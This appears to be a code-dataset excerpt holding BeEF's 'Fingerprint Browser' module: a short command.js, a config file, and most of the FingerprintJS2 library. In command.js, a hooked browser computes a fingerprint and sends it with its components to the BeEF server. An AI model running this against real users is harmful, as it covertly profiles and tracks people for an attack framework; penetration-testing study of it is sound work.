language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
JavaScript
beef/modules/browser/fingerprint_browser/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { <%= begin f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js" File.read(f) rescue => e print_error "[Fingerprint Browser] Could not read file '#{f}': #{e.message}" end %> try { setTimeout(function () { Fingerprint2.get(function (components) { var values = components.map(function (component) { return component.value }) var murmur = Fingerprint2.x64hash128(values.join(''), 31) beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur); beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components)); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success()); }) }, 500) } catch(e) { beef.debug('[Fingerprint Browser] Error: ' + e.message); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error()); } });
YAML
beef/modules/browser/fingerprint_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fingerprint_browser: enable: true category: "Browser" name: "Fingerprint Browser" description: "This module attempts to fingerprint the browser and browser capabilities using <a href='https://github.com/Valve/fingerprintjs2'>FingerprintJS2</a>." authors: ["bcoles"] target: working: ["ALL"]
JavaScript
beef/modules/browser/fingerprint_browser/fingerprint2.js
/* * Fingerprintjs2 2.0.6 - Modern & flexible browser fingerprint library v2 * https://github.com/Valve/fingerprintjs2 * Copyright (c) 2015 Valentin Vasilyev ([email protected]) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL VALENTIN VASILYEV BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* global define */ (function (name, context, definition) { 'use strict' if (typeof window !== 'undefined' && typeof define === 'function' && define.amd) { define(definition) } else if (typeof module !== 'undefined' && module.exports) { module.exports = definition() } else if (context.exports) { context.exports = definition() } else { context[name] = definition() } })('Fingerprint2', this, function () { 'use strict' /// MurmurHash3 related functions // // Given two 64bit ints (as an array of two 32bit ints) returns the two // added together as a 64bit int (as an array of two 32bit ints). // var x64Add = function (m, n) { m = [m[0] >>> 16, m[0] & 0xffff, m[1] >>> 16, m[1] & 0xffff] n = [n[0] >>> 16, n[0] & 0xffff, n[1] >>> 16, n[1] & 0xffff] var o = [0, 0, 0, 0] o[3] += m[3] + n[3] o[2] += o[3] >>> 16 o[3] &= 0xffff o[2] += m[2] + n[2] o[1] += o[2] >>> 16 o[2] &= 0xffff o[1] += m[1] + n[1] o[0] += o[1] >>> 16 o[1] &= 0xffff o[0] += m[0] + n[0] o[0] &= 0xffff return [(o[0] << 16) | o[1], (o[2] << 16) | o[3]] } // // Given two 64bit ints (as an array of two 32bit ints) returns the two // multiplied together as a 64bit int (as an array of two 32bit ints). // var x64Multiply = function (m, n) { m = [m[0] >>> 16, m[0] & 0xffff, m[1] >>> 16, m[1] & 0xffff] n = [n[0] >>> 16, n[0] & 0xffff, n[1] >>> 16, n[1] & 0xffff] var o = [0, 0, 0, 0] o[3] += m[3] * n[3] o[2] += o[3] >>> 16 o[3] &= 0xffff o[2] += m[2] * n[3] o[1] += o[2] >>> 16 o[2] &= 0xffff o[2] += m[3] * n[2] o[1] += o[2] >>> 16 o[2] &= 0xffff o[1] += m[1] * n[3] o[0] += o[1] >>> 16 o[1] &= 0xffff o[1] += m[2] * n[2] o[0] += o[1] >>> 16 o[1] &= 0xffff o[1] += m[3] * n[1] o[0] += o[1] >>> 16 o[1] &= 0xffff o[0] += (m[0] * n[3]) + (m[1] * n[2]) + (m[2] * n[1]) + (m[3] * n[0]) o[0] &= 0xffff return [(o[0] << 16) | o[1], (o[2] << 16) | o[3]] } // // Given a 64bit int (as an array of two 32bit ints) and an int // representing a number of bit positions, returns the 64bit int (as an // array of two 32bit ints) rotated left by that number of positions. // var x64Rotl = function (m, n) { n %= 64 if (n === 32) { return [m[1], m[0]] } else if (n < 32) { return [(m[0] << n) | (m[1] >>> (32 - n)), (m[1] << n) | (m[0] >>> (32 - n))] } else { n -= 32 return [(m[1] << n) | (m[0] >>> (32 - n)), (m[0] << n) | (m[1] >>> (32 - n))] } } // // Given a 64bit int (as an array of two 32bit ints) and an int // representing a number of bit positions, returns the 64bit int (as an // array of two 32bit ints) shifted left by that number of positions. // var x64LeftShift = function (m, n) { n %= 64 if (n === 0) { return m } else if (n < 32) { return [(m[0] << n) | (m[1] >>> (32 - n)), m[1] << n] } else { return [m[1] << (n - 32), 0] } } // // Given two 64bit ints (as an array of two 32bit ints) returns the two // xored together as a 64bit int (as an array of two 32bit ints). // var x64Xor = function (m, n) { return [m[0] ^ n[0], m[1] ^ n[1]] } // // Given a block, returns murmurHash3's final x64 mix of that block. // (`[0, h[0] >>> 1]` is a 33 bit unsigned right shift. This is the // only place where we need to right shift 64bit ints.) // var x64Fmix = function (h) { h = x64Xor(h, [0, h[0] >>> 1]) h = x64Multiply(h, [0xff51afd7, 0xed558ccd]) h = x64Xor(h, [0, h[0] >>> 1]) h = x64Multiply(h, [0xc4ceb9fe, 0x1a85ec53]) h = x64Xor(h, [0, h[0] >>> 1]) return h } // // Given a string and an optional seed as an int, returns a 128 bit // hash using the x64 flavor of MurmurHash3, as an unsigned hex. // var x64hash128 = function (key, seed) { key = key || '' seed = seed || 0 var remainder = key.length % 16 var bytes = key.length - remainder var h1 = [0, seed] var h2 = [0, seed] var k1 = [0, 0] var k2 = [0, 0] var c1 = [0x87c37b91, 0x114253d5] var c2 = [0x4cf5ad43, 0x2745937f] for (var i = 0; i < bytes; i = i + 16) { k1 = [((key.charCodeAt(i + 4) & 0xff)) | ((key.charCodeAt(i + 5) & 0xff) << 8) | ((key.charCodeAt(i + 6) & 0xff) << 16) | ((key.charCodeAt(i + 7) & 0xff) << 24), ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(i + 1) & 0xff) << 8) | ((key.charCodeAt(i + 2) & 0xff) << 16) | ((key.charCodeAt(i + 3) & 0xff) << 24)] k2 = [((key.charCodeAt(i + 12) & 0xff)) | ((key.charCodeAt(i + 13) & 0xff) << 8) | ((key.charCodeAt(i + 14) & 0xff) << 16) | ((key.charCodeAt(i + 15) & 0xff) << 24), ((key.charCodeAt(i + 8) & 0xff)) | ((key.charCodeAt(i + 9) & 0xff) << 8) | ((key.charCodeAt(i + 10) & 0xff) << 16) | ((key.charCodeAt(i + 11) & 0xff) << 24)] k1 = x64Multiply(k1, c1) k1 = x64Rotl(k1, 31) k1 = x64Multiply(k1, c2) h1 = x64Xor(h1, k1) h1 = x64Rotl(h1, 27) h1 = x64Add(h1, h2) h1 = x64Add(x64Multiply(h1, [0, 5]), [0, 0x52dce729]) k2 = x64Multiply(k2, c2) k2 = x64Rotl(k2, 33) k2 = x64Multiply(k2, c1) h2 = x64Xor(h2, k2) h2 = x64Rotl(h2, 31) h2 = x64Add(h2, h1) h2 = x64Add(x64Multiply(h2, [0, 5]), [0, 0x38495ab5]) } k1 = [0, 0] k2 = [0, 0] switch (remainder) { case 15: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 14)], 48)) // fallthrough case 14: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 13)], 40)) // fallthrough case 13: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 12)], 32)) // fallthrough case 12: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 11)], 24)) // fallthrough case 11: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 10)], 16)) // fallthrough case 10: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 9)], 8)) // fallthrough case 9: k2 = x64Xor(k2, [0, key.charCodeAt(i + 8)]) k2 = x64Multiply(k2, c2) k2 = x64Rotl(k2, 33) k2 = x64Multiply(k2, c1) h2 = x64Xor(h2, k2) // fallthrough case 8: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 7)], 56)) // fallthrough case 7: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 6)], 48)) // fallthrough case 6: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 5)], 40)) // fallthrough case 5: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 4)], 32)) // fallthrough case 4: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 3)], 24)) // fallthrough case 3: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 2)], 16)) // fallthrough case 2: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 1)], 8)) // fallthrough case 1: k1 = x64Xor(k1, [0, key.charCodeAt(i)]) k1 = x64Multiply(k1, c1) k1 = x64Rotl(k1, 31) k1 = x64Multiply(k1, c2) h1 = x64Xor(h1, k1) // fallthrough } h1 = x64Xor(h1, [0, key.length]) h2 = x64Xor(h2, [0, key.length]) h1 = x64Add(h1, h2) h2 = x64Add(h2, h1) h1 = x64Fmix(h1) h2 = x64Fmix(h2) h1 = x64Add(h1, h2) h2 = x64Add(h2, h1) return ('00000000' + (h1[0] >>> 0).toString(16)).slice(-8) + ('00000000' + (h1[1] >>> 0).toString(16)).slice(-8) + ('00000000' + (h2[0] >>> 0).toString(16)).slice(-8) + ('00000000' + (h2[1] >>> 0).toString(16)).slice(-8) } var defaultOptions = { preprocessor: null, audio: { timeout: 1000, // On iOS 11, audio context can only be used in response to user interaction. // We require users to explicitly enable audio fingerprinting on iOS 11. // See https://stackoverflow.com/questions/46363048/onaudioprocess-not-called-on-ios11#46534088 excludeIOS11: true }, fonts: { swfContainerId: 'fingerprintjs2', swfPath: 'flash/compiled/FontList.swf', userDefinedFonts: [], extendedJsFonts: false }, screen: { // To ensure consistent fingerprints when users rotate their mobile devices detectScreenOrientation: true }, plugins: { sortPluginsFor: [/palemoon/i], excludeIE: false }, extraComponents: [], excludes: { // Unreliable on Windows, see https://github.com/Valve/fingerprintjs2/issues/375 'enumerateDevices': true, // devicePixelRatio depends on browser zoom, and it's impossible to detect browser zoom 'pixelRatio': true, // DNT depends on incognito mode for some browsers (Chrome) and it's impossible to detect incognito mode 'doNotTrack': true, // uses js fonts already 'fontsFlash': true }, NOT_AVAILABLE: 'not available', ERROR: 'error', EXCLUDED: 'excluded' } var each = function (obj, iterator) { if (Array.prototype.forEach && obj.forEach === Array.prototype.forEach) { obj.forEach(iterator) } else if (obj.length === +obj.length) { for (var i = 0, l = obj.length; i < l; i++) { iterator(obj[i], i, obj) } } else { for (var key in obj) { if (obj.hasOwnProperty(key)) { iterator(obj[key], key, obj) } } } } var map = function (obj, iterator) { var results = [] // Not using strict equality so that this acts as a // shortcut to checking for `null` and `undefined`. if (obj == null) { return results } if (Array.prototype.map && obj.map === Array.prototype.map) { return obj.map(iterator) } each(obj, function (value, index, list) { results.push(iterator(value, index, list)) }) return results } var extendSoft = function (target, source) { if (source == null) { return target } var value var key for (key in source) { value = source[key] if (value != null && !(Object.prototype.hasOwnProperty.call(target, key))) { target[key] = value } } return target } // https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/enumerateDevices var enumerateDevicesKey = function (done, options) { if (!isEnumerateDevicesSupported()) { return done(options.NOT_AVAILABLE) } navigator.mediaDevices.enumerateDevices().then(function (devices) { done(devices.map(function (device) { return 'id=' + device.deviceId + ';gid=' + device.groupId + ';' + device.kind + ';' + device.label })) }) .catch(function (error) { done(error) }) } var isEnumerateDevicesSupported = function () { return (navigator.mediaDevices && navigator.mediaDevices.enumerateDevices) } // Inspired by and based on https://github.com/cozylife/audio-fingerprint var audioKey = function (done, options) { var audioOptions = options.audio if (audioOptions.excludeIOS11 && navigator.userAgent.match(/OS 11.+Version\/11.+Safari/)) { // See comment for excludeUserAgent and https://stackoverflow.com/questions/46363048/onaudioprocess-not-called-on-ios11#46534088 return done(options.EXCLUDED) } var AudioContext = window.OfflineAudioContext || window.webkitOfflineAudioContext if (AudioContext == null) { return done(options.NOT_AVAILABLE) } var context = new AudioContext(1, 44100, 44100) var oscillator = context.createOscillator() oscillator.type = 'triangle' oscillator.frequency.setValueAtTime(10000, context.currentTime) var compressor = context.createDynamicsCompressor() each([ ['threshold', -50], ['knee', 40], ['ratio', 12], ['reduction', -20], ['attack', 0], ['release', 0.25] ], function (item) { if (compressor[item[0]] !== undefined && typeof compressor[item[0]].setValueAtTime === 'function') { compressor[item[0]].setValueAtTime(item[1], context.currentTime) } }) oscillator.connect(compressor) compressor.connect(context.destination) oscillator.start(0) context.startRendering() var audioTimeoutId = setTimeout(function () { console.warn('Audio fingerprint timed out. Please report bug at https://github.com/Valve/fingerprintjs2 with your user agent: "' + navigator.userAgent + '".') context.oncomplete = function () {} context = null return done('audioTimeout') }, audioOptions.timeout) context.oncomplete = function (event) { var fingerprint try { clearTimeout(audioTimeoutId) fingerprint = event.renderedBuffer.getChannelData(0) .slice(4500, 5000) .reduce(function (acc, val) { return acc + Math.abs(val) }, 0) .toString() oscillator.disconnect() compressor.disconnect() } catch (error) { done(error) return } done(fingerprint) } } var UserAgent = function (done) { done(navigator.userAgent) } var languageKey = function (done, options) { done(navigator.language || navigator.userLanguage || navigator.browserLanguage || navigator.systemLanguage || options.NOT_AVAILABLE) } var colorDepthKey = function (done, options) { done(window.screen.colorDepth || options.NOT_AVAILABLE) } var deviceMemoryKey = function (done, options) { done(navigator.deviceMemory || options.NOT_AVAILABLE) } var pixelRatioKey = function (done, options) { done(window.devicePixelRatio || options.NOT_AVAILABLE) } var screenResolutionKey = function (done, options) { done(getScreenResolution(options)) } var getScreenResolution = function (options) { var resolution = [window.screen.width, window.screen.height] if (options.screen.detectScreenOrientation) { resolution.sort().reverse() } return resolution } var availableScreenResolutionKey = function (done, options) { done(getAvailableScreenResolution(options)) } var getAvailableScreenResolution = function (options) { if (window.screen.availWidth && window.screen.availHeight) { var available = [window.screen.availHeight, window.screen.availWidth] if (options.screen.detectScreenOrientation) { available.sort().reverse() } return available } // headless browsers return options.NOT_AVAILABLE } var timezoneOffset = function (done) { done(new Date().getTimezoneOffset()) } var timezone = function (done, options) { if (window.Intl && window.Intl.DateTimeFormat) { done(new window.Intl.DateTimeFormat().resolvedOptions().timeZone) return } done(options.NOT_AVAILABLE) } var sessionStorageKey = function (done, options) { done(hasSessionStorage(options)) } var localStorageKey = function (done, options) { done(hasLocalStorage(options)) } var indexedDbKey = function (done, options) { done(hasIndexedDB(options)) } var addBehaviorKey = function (done) { // body might not be defined at this point or removed programmatically done(!!(document.body && document.body.addBehavior)) } var openDatabaseKey = function (done) { done(!!window.openDatabase) } var cpuClassKey = function (done, options) { done(getNavigatorCpuClass(options)) } var platformKey = function (done, options) { done(getNavigatorPlatform(options)) } var doNotTrackKey = function (done, options) { done(getDoNotTrack(options)) } var canvasKey = function (done, options) { if (isCanvasSupported()) { done(getCanvasFp(options)) return } done(options.NOT_AVAILABLE) } var webglKey = function (done, options) { if (isWebGlSupported()) { done(getWebglFp()) return } done(options.NOT_AVAILABLE) } var webglVendorAndRendererKey = function (done) { if (isWebGlSupported()) { done(getWebglVendorAndRenderer()) return } done() } var adBlockKey = function (done) { done(getAdBlock()) } var hasLiedLanguagesKey = function (done) { done(getHasLiedLanguages()) } var hasLiedResolutionKey = function (done) { done(getHasLiedResolution()) } var hasLiedOsKey = function (done) { done(getHasLiedOs()) } var hasLiedBrowserKey = function (done) { done(getHasLiedBrowser()) } // flash fonts (will increase fingerprinting time 20X to ~ 130-150ms) var flashFontsKey = function (done, options) { // we do flash if swfobject is loaded if (!hasSwfObjectLoaded()) { return done('swf object not loaded') } if (!hasMinFlashInstalled()) { return done('flash not installed') } if (!options.fonts.swfPath) { return done('missing options.fonts.swfPath') } loadSwfAndDetectFonts(function (fonts) { done(fonts) }, options) } // kudos to http://www.lalit.org/lab/javascript-css-font-detect/ var jsFontsKey = function (done, options) { // a font will be compared against all the three default fonts. // and if it doesn't match all 3 then that font is not available. var baseFonts = ['monospace', 'sans-serif', 'serif'] var fontList = [ 'Andale Mono', 'Arial', 'Arial Black', 'Arial Hebrew', 'Arial MT', 'Arial Narrow', 'Arial Rounded MT Bold', 'Arial Unicode MS', 'Bitstream Vera Sans Mono', 'Book Antiqua', 'Bookman Old Style', 'Calibri', 'Cambria', 'Cambria Math', 'Century', 'Century Gothic', 'Century Schoolbook', 'Comic Sans', 'Comic Sans MS', 'Consolas', 'Courier', 'Courier New', 'Geneva', 'Georgia', 'Helvetica', 'Helvetica Neue', 'Impact', 'Lucida Bright', 'Lucida Calligraphy', 'Lucida Console', 'Lucida Fax', 'LUCIDA GRANDE', 'Lucida Handwriting', 'Lucida Sans', 'Lucida Sans Typewriter', 'Lucida Sans Unicode', 'Microsoft Sans Serif', 'Monaco', 'Monotype Corsiva', 'MS Gothic', 'MS Outlook', 'MS PGothic', 'MS Reference Sans Serif', 'MS Sans Serif', 'MS Serif', 'MYRIAD', 'MYRIAD PRO', 'Palatino', 'Palatino Linotype', 'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Light', 'Segoe UI Semibold', 'Segoe UI Symbol', 'Tahoma', 'Times', 'Times New Roman', 'Times New Roman PS', 'Trebuchet MS', 'Verdana', 'Wingdings', 'Wingdings 2', 'Wingdings 3' ] if (options.fonts.extendedJsFonts) { var extendedFontList = [ 'Abadi MT Condensed Light', 'Academy Engraved LET', 'ADOBE CASLON PRO', 'Adobe Garamond', 'ADOBE GARAMOND PRO', 'Agency FB', 'Aharoni', 'Albertus Extra Bold', 'Albertus Medium', 'Algerian', 'Amazone BT', 'American Typewriter', 'American Typewriter Condensed', 'AmerType Md BT', 'Andalus', 'Angsana New', 'AngsanaUPC', 'Antique Olive', 'Aparajita', 'Apple Chancery', 'Apple Color Emoji', 'Apple SD Gothic Neo', 'Arabic Typesetting', 'ARCHER', 'ARNO PRO', 'Arrus BT', 'Aurora Cn BT', 'AvantGarde Bk BT', 'AvantGarde Md BT', 'AVENIR', 'Ayuthaya', 'Bandy', 'Bangla Sangam MN', 'Bank Gothic', 'BankGothic Md BT', 'Baskerville', 'Baskerville Old Face', 'Batang', 'BatangChe', 'Bauer Bodoni', 'Bauhaus 93', 'Bazooka', 'Bell MT', 'Bembo', 'Benguiat Bk BT', 'Berlin Sans FB', 'Berlin Sans FB Demi', 'Bernard MT Condensed', 'BernhardFashion BT', 'BernhardMod BT', 'Big Caslon', 'BinnerD', 'Blackadder ITC', 'BlairMdITC TT', 'Bodoni 72', 'Bodoni 72 Oldstyle', 'Bodoni 72 Smallcaps', 'Bodoni MT', 'Bodoni MT Black', 'Bodoni MT Condensed', 'Bodoni MT Poster Compressed', 'Bookshelf Symbol 7', 'Boulder', 'Bradley Hand', 'Bradley Hand ITC', 'Bremen Bd BT', 'Britannic Bold', 'Broadway', 'Browallia New', 'BrowalliaUPC', 'Brush Script MT', 'Californian FB', 'Calisto MT', 'Calligrapher', 'Candara', 'CaslonOpnface BT', 'Castellar', 'Centaur', 'Cezanne', 'CG Omega', 'CG Times', 'Chalkboard', 'Chalkboard SE', 'Chalkduster', 'Charlesworth', 'Charter Bd BT', 'Charter BT', 'Chaucer', 'ChelthmITC Bk BT', 'Chiller', 'Clarendon', 'Clarendon Condensed', 'CloisterBlack BT', 'Cochin', 'Colonna MT', 'Constantia', 'Cooper Black', 'Copperplate', 'Copperplate Gothic', 'Copperplate Gothic Bold', 'Copperplate Gothic Light', 'CopperplGoth Bd BT', 'Corbel', 'Cordia New', 'CordiaUPC', 'Cornerstone', 'Coronet', 'Cuckoo', 'Curlz MT', 'DaunPenh', 'Dauphin', 'David', 'DB LCD Temp', 'DELICIOUS', 'Denmark', 'DFKai-SB', 'Didot', 'DilleniaUPC', 'DIN', 'DokChampa', 'Dotum', 'DotumChe', 'Ebrima', 'Edwardian Script ITC', 'Elephant', 'English 111 Vivace BT', 'Engravers MT', 'EngraversGothic BT', 'Eras Bold ITC', 'Eras Demi ITC', 'Eras Light ITC', 'Eras Medium ITC', 'EucrosiaUPC', 'Euphemia', 'Euphemia UCAS', 'EUROSTILE', 'Exotc350 Bd BT', 'FangSong', 'Felix Titling', 'Fixedsys', 'FONTIN', 'Footlight MT Light', 'Forte', 'FrankRuehl', 'Fransiscan', 'Freefrm721 Blk BT', 'FreesiaUPC', 'Freestyle Script', 'French Script MT', 'FrnkGothITC Bk BT', 'Fruitger', 'FRUTIGER', 'Futura', 'Futura Bk BT', 'Futura Lt BT', 'Futura Md BT', 'Futura ZBlk BT', 'FuturaBlack BT', 'Gabriola', 'Galliard BT', 'Gautami', 'Geeza Pro', 'Geometr231 BT', 'Geometr231 Hv BT', 'Geometr231 Lt BT', 'GeoSlab 703 Lt BT', 'GeoSlab 703 XBd BT', 'Gigi', 'Gill Sans', 'Gill Sans MT', 'Gill Sans MT Condensed', 'Gill Sans MT Ext Condensed Bold', 'Gill Sans Ultra Bold', 'Gill Sans Ultra Bold Condensed', 'Gisha', 'Gloucester MT Extra Condensed', 'GOTHAM', 'GOTHAM BOLD', 'Goudy Old Style', 'Goudy Stout', 'GoudyHandtooled BT', 'GoudyOLSt BT', 'Gujarati Sangam MN', 'Gulim', 'GulimChe', 'Gungsuh', 'GungsuhChe', 'Gurmukhi MN', 'Haettenschweiler', 'Harlow Solid Italic', 'Harrington', 'Heather', 'Heiti SC', 'Heiti TC', 'HELV', 'Herald', 'High Tower Text', 'Hiragino Kaku Gothic ProN', 'Hiragino Mincho ProN', 'Hoefler Text', 'Humanst 521 Cn BT', 'Humanst521 BT', 'Humanst521 Lt BT', 'Imprint MT Shadow', 'Incised901 Bd BT', 'Incised901 BT', 'Incised901 Lt BT', 'INCONSOLATA', 'Informal Roman', 'Informal011 BT', 'INTERSTATE', 'IrisUPC', 'Iskoola Pota', 'JasmineUPC', 'Jazz LET', 'Jenson', 'Jester', 'Jokerman', 'Juice ITC', 'Kabel Bk BT', 'Kabel Ult BT', 'Kailasa', 'KaiTi', 'Kalinga', 'Kannada Sangam MN', 'Kartika', 'Kaufmann Bd BT', 'Kaufmann BT', 'Khmer UI', 'KodchiangUPC', 'Kokila', 'Korinna BT', 'Kristen ITC', 'Krungthep', 'Kunstler Script', 'Lao UI', 'Latha', 'Leelawadee', 'Letter Gothic', 'Levenim MT', 'LilyUPC', 'Lithograph', 'Lithograph Light', 'Long Island', 'Lydian BT', 'Magneto', 'Maiandra GD', 'Malayalam Sangam MN', 'Malgun Gothic', 'Mangal', 'Marigold', 'Marion', 'Marker Felt', 'Market', 'Marlett', 'Matisse ITC', 'Matura MT Script Capitals', 'Meiryo', 'Meiryo UI', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft Tai Le', 'Microsoft Uighur', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU', 'MingLiU_HKSCS', 'MingLiU_HKSCS-ExtB', 'MingLiU-ExtB', 'Minion', 'Minion Pro', 'Miriam', 'Miriam Fixed', 'Mistral', 'Modern', 'Modern No. 20', 'Mona Lisa Solid ITC TT', 'Mongolian Baiti', 'MONO', 'MoolBoran', 'Mrs Eaves', 'MS LineDraw', 'MS Mincho', 'MS PMincho', 'MS Reference Specialty', 'MS UI Gothic', 'MT Extra', 'MUSEO', 'MV Boli', 'Nadeem', 'Narkisim', 'NEVIS', 'News Gothic', 'News GothicMT', 'NewsGoth BT', 'Niagara Engraved', 'Niagara Solid', 'Noteworthy', 'NSimSun', 'Nyala', 'OCR A Extended', 'Old Century', 'Old English Text MT', 'Onyx', 'Onyx BT', 'OPTIMA', 'Oriya Sangam MN', 'OSAKA', 'OzHandicraft BT', 'Palace Script MT', 'Papyrus', 'Parchment', 'Party LET', 'Pegasus', 'Perpetua', 'Perpetua Titling MT', 'PetitaBold', 'Pickwick', 'Plantagenet Cherokee', 'Playbill', 'PMingLiU', 'PMingLiU-ExtB', 'Poor Richard', 'Poster', 'PosterBodoni BT', 'PRINCETOWN LET', 'Pristina', 'PTBarnum BT', 'Pythagoras', 'Raavi', 'Rage Italic', 'Ravie', 'Ribbon131 Bd BT', 'Rockwell', 'Rockwell Condensed', 'Rockwell Extra Bold', 'Rod', 'Roman', 'Sakkal Majalla', 'Santa Fe LET', 'Savoye LET', 'Sceptre', 'Script', 'Script MT Bold', 'SCRIPTINA', 'Serifa', 'Serifa BT', 'Serifa Th BT', 'ShelleyVolante BT', 'Sherwood', 'Shonar Bangla', 'Showcard Gothic', 'Shruti', 'Signboard', 'SILKSCREEN', 'SimHei', 'Simplified Arabic', 'Simplified Arabic Fixed', 'SimSun', 'SimSun-ExtB', 'Sinhala Sangam MN', 'Sketch Rockwell', 'Skia', 'Small Fonts', 'Snap ITC', 'Snell Roundhand', 'Socket', 'Souvenir Lt BT', 'Staccato222 BT', 'Steamer', 'Stencil', 'Storybook', 'Styllo', 'Subway', 'Swis721 BlkEx BT', 'Swiss911 XCm BT', 'Sylfaen', 'Synchro LET', 'System', 'Tamil Sangam MN', 'Technical', 'Teletype', 'Telugu Sangam MN', 'Tempus Sans ITC', 'Terminal', 'Thonburi', 'Traditional Arabic', 'Trajan', 'TRAJAN PRO', 'Tristan', 'Tubular', 'Tunga', 'Tw Cen MT', 'Tw Cen MT Condensed', 'Tw Cen MT Condensed Extra Bold', 'TypoUpright BT', 'Unicorn', 'Univers', 'Univers CE 55 Medium', 'Univers Condensed', 'Utsaah', 'Vagabond', 'Vani', 'Vijaya', 'Viner Hand ITC', 'VisualUI', 'Vivaldi', 'Vladimir Script', 'Vrinda', 'Westminster', 'WHITNEY', 'Wide Latin', 'ZapfEllipt BT', 'ZapfHumnst BT', 'ZapfHumnst Dm BT', 'Zapfino', 'Zurich BlkEx BT', 'Zurich Ex BT', 'ZWAdobeF'] fontList = fontList.concat(extendedFontList) } fontList = fontList.concat(options.fonts.userDefinedFonts) // remove duplicate fonts fontList = fontList.filter(function (font, position) { return fontList.indexOf(font) === position }) // we use m or w because these two characters take up the maximum width. // And we use a LLi so that the same matching fonts can get separated var testString = 'mmmmmmmmmmlli' // we test using 72px font size, we may use any size. I guess larger the better. var testSize = '72px' var h = document.getElementsByTagName('body')[0] // div to load spans for the base fonts var baseFontsDiv = document.createElement('div') // div to load spans for the fonts to detect var fontsDiv = document.createElement('div') var defaultWidth = {} var defaultHeight = {} // creates a span where the fonts will be loaded var createSpan = function () { var s = document.createElement('span') /* * We need this css as in some weird browser this * span elements shows up for a microSec which creates a * bad user experience */ s.style.position = 'absolute' s.style.left = '-9999px' s.style.fontSize = testSize // css font reset to reset external styles s.style.fontStyle = 'normal' s.style.fontWeight = 'normal' s.style.letterSpacing = 'normal' s.style.lineBreak = 'auto' s.style.lineHeight = 'normal' s.style.textTransform = 'none' s.style.textAlign = 'left' s.style.textDecoration = 'none' s.style.textShadow = 'none' s.style.whiteSpace = 'normal' s.style.wordBreak = 'normal' s.style.wordSpacing = 'normal' s.innerHTML = testString return s } // creates a span and load the font to detect and a base font for fallback var createSpanWithFonts = function (fontToDetect, baseFont) { var s = createSpan() s.style.fontFamily = "'" + fontToDetect + "'," + baseFont return s } // creates spans for the base fonts and adds them to baseFontsDiv var initializeBaseFontsSpans = function () { var spans = [] for (var index = 0, length = baseFonts.length; index < length; index++) { var s = createSpan() s.style.fontFamily = baseFonts[index] baseFontsDiv.appendChild(s) spans.push(s) } return spans } // creates spans for the fonts to detect and adds them to fontsDiv var initializeFontsSpans = function () { var spans = {} for (var i = 0, l = fontList.length; i < l; i++) { var fontSpans = [] for (var j = 0, numDefaultFonts = baseFonts.length; j < numDefaultFonts; j++) { var s = createSpanWithFonts(fontList[i], baseFonts[j]) fontsDiv.appendChild(s) fontSpans.push(s) } spans[fontList[i]] = fontSpans // Stores {fontName : [spans for that font]} } return spans } // checks if a font is available var isFontAvailable = function (fontSpans) { var detected = false for (var i = 0; i < baseFonts.length; i++) { detected = (fontSpans[i].offsetWidth !== defaultWidth[baseFonts[i]] || fontSpans[i].offsetHeight !== defaultHeight[baseFonts[i]]) if (detected) { return detected } } return detected } // create spans for base fonts var baseFontsSpans = initializeBaseFontsSpans() // add the spans to the DOM h.appendChild(baseFontsDiv) // get the default width for the three base fonts for (var index = 0, length = baseFonts.length; index < length; index++) { defaultWidth[baseFonts[index]] = baseFontsSpans[index].offsetWidth // width for the default font defaultHeight[baseFonts[index]] = baseFontsSpans[index].offsetHeight // height for the default font } // create spans for fonts to detect var fontsSpans = initializeFontsSpans() // add all the spans to the DOM h.appendChild(fontsDiv) // check available fonts var available = [] for (var i = 0, l = fontList.length; i < l; i++) { if (isFontAvailable(fontsSpans[fontList[i]])) { available.push(fontList[i]) } } // remove spans from 